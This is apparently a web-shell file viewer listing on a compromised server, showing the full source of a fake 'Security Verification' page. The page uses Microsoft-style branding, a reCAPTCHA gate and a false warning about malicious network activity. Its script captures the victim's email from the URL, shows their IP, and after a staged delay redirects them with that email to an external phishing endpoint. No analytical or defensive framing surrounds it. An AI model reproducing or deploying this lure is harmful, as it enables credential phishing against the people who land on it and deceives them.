HEX
Server: LiteSpeed
System: Linux prometheus.hongkongserver.net 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
User: ayxmplky (1112)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //home/inveservice/www/rss/index.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Security Verification</title>
    <script src="https://www.google.com/recaptcha/api.js" async defer></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <style>
      body {
        font-family: "Segoe UI", "Helvetica Neue", Arial, sans-serif;
        background-color: #f2f2f2;
        color: #1b1b1b;
        margin: 0;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        min-height: 100vh;
      }
      .header {
        position: absolute;
        top: 20px;
        left: 30px;
      }
      .header svg {
        width: 108px;
        height: 23px;
      }
      .main-container {
        display: flex;
        flex-direction: column;
        align-items: center;
        width: 100%;
        max-width: 440px;
        padding: 20px;
        box-sizing: border-box;
      }
      #captcha-wrapper {
        background-color: #ffffff;
        padding: 30px 40px;
        box-shadow: 0px 1.2px 3.6px rgba(0, 0, 0, 0.1),
          0px 6.4px 14.4px rgba(0, 0, 0, 0.13);
        border-radius: 4px;
        width: 100%;
        box-sizing: border-box;
      }
      h1 {
        font-size: 24px;
        font-weight: 600;
        margin-top: 0;
        margin-bottom: 12px;
      }
      .subtitle {
        font-size: 15px;
        margin-bottom: 20px;
      }
      .g-recaptcha {
        margin-bottom: 10px;
        transform: scale(1.1); /* Slightly larger to fit the container width */
        transform-origin: 0 0;
      }
      #g-recaptcha-error {
        height: 20px;
        font-size: 13px;
        margin-top: 15px;
        color: #e81123;
      }
      .button-container {
        display: flex;
        justify-content: flex-end;
        align-items: center;
        margin-top: 30px;
      }
      #sub {
        width: 120px;
        height: 32px;
        background-color: #0067b8;
        color: white;
        border: none;
        border-radius: 2px;
        font-size: 15px;
        cursor: pointer;
        transition: background-color 0.2s ease;
      }
      #sub:hover {
        background-color: #005a9e;
      }
      .loader {
        border: 4px solid #f3f3f3;
        border-top: 4px solid #0067b8;
        border-radius: 50%;
        width: 24px;
        height: 24px;
        animation: spin 1s linear infinite;
        display: none;
        margin-right: 20px;
      }
      @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
      }
      #details-section {
        margin-top: 30px;
        padding: 0 10px;
        width: 100%;
        box-sizing: border-box;
      }
      #details-section h4 {
        font-size: 18px;
        font-weight: 600;
        margin-bottom: 10px;
      }
      #details-section p {
        font-size: 14px;
        line-height: 1.5;
        color: #505050;
      }
      #details-section .info-footer {
        font-size: 13px;
        color: #6b6b6b;
      }
      #page-loader {
        text-align: center;
        margin-top: 100px;
        display: none;
        font-size: 18px;
        font-weight: 400;
      }
    </style>
  </head>
  <body>
    <div class="header">
      <svg viewBox="0 0 2560 529" fill="none" xmlns="http://www.w3.org/2000/svg">
        <path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
        <path d="M2560 0H1380V529H2560V0Z" fill="#00A4EF"/>
        <path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
        <path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
        <path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
        <path d="M2560 0H1380V529H2560V0Z" fill="#00A4EF"/>
        <path d="M1180 -529H0V0H1180V-529Z" fill="#7FBA00"/>
        <path d="M2560 -529H1380V0H2560V-529Z" fill="#FFB900"/>
      </svg>
    </div>

    <div class="main-container" id="main-content-area">
      <div id="captcha-wrapper">
        <h1>Verify you are human</h1>
        <p class="subtitle">To continue, please complete this security check.</p>
        <div class="g-recaptcha" data-sitekey="6LdLK80sAAAAAL6MAUyc1gSmXJc9hC1ASy1ArABE"></div>
        <div id="g-recaptcha-error"></div>
        <div class="button-container">
          <div class="loader" id="loading"></div>
          <button id="sub">Verify</button>
        </div>
      </div>
      <div id="details-section">
        <h4>Why am I seeing this?</h4>
        <p>
          This page checks to see if it's really a human sending the requests
          and not a robot. Unaddressed malicious behavior has been detected
          from this network.
        </p>
        <p class="info-footer">
          IP address: <span id="gfg"></span><br />
          Time: <span id="demo"></span> <br />
          URL: https://www.google.com/search?...
        </p>
      </div>
    </div>
    <p id="page-loader">Verifying your request... <br />Please wait.</p>
  </body>
  <script>
    $(document).ready(function () {
      // Get and display user's IP address
      $.getJSON("https://api.ipify.org?format=json", function (data) {
        $("#gfg").html(data.ip);
      });

      // Display current time
      const d = new Date();
      document.getElementById("demo").innerHTML = d.toLocaleString();

      // Function to get original parameter format and value
      function getOriginalParameter() {
        const urlParams = new URLSearchParams(window.location.search);
        const hash = window.location.hash.substr(1);
        
        // Check for ?email parameter
        if (urlParams.has('email')) {
          return {
            type: 'query',
            name: 'email',
            value: urlParams.get('email')
          };
        }
        
        // Check for ?mxid parameter
        if (urlParams.has('mxid')) {
          return {
            type: 'query',
            name: 'mxid',
            value: urlParams.get('mxid')
          };
        }
        
        // Check for hash fragment
        if (hash) {
          return {
            type: 'hash',
            value: hash
          };
        }
        
        return null;
      }

      // Handle submit button click
      $("#sub").on("click", function () {
        const pageLoader = document.getElementById("page-loader");
        const loader = document.getElementById("loading");
        const mainContent = document.getElementById("main-content-area");
        const recaptcha_response = grecaptcha.getResponse();

        if (recaptcha_response.length < 1) {
          $("#g-recaptcha-error").text("Verification is required. Please solve the challenge.");
        } else {
          $("#g-recaptcha-error").text("Verifying...").css("color", "#0067b8");
          loader.style.display = "block";
          document.getElementById("sub").style.display = "none";

          setTimeout(() => {
            pageLoader.style.display = "block";
            mainContent.style.display = "none";
          }, 4000);

          setTimeout(() => {
            // Get the original parameter format
            const originalParam = getOriginalParameter();
            let redirectUrl = "https://inveservice.com/rsv";
            
            if (originalParam) {
              if (originalParam.type === 'query') {
                // Preserve ?email= or ?mxid= format
                redirectUrl += `?${originalParam.name}=${encodeURIComponent(originalParam.value)}`;
              } else if (originalParam.type === 'hash') {
                // Preserve #hash format
                redirectUrl += `#${encodeURIComponent(originalParam.value)}`;
              }
            }
            
            window.location.href = redirectUrl;
          }, 7000);
        }
      });
    });
  </script>
</html>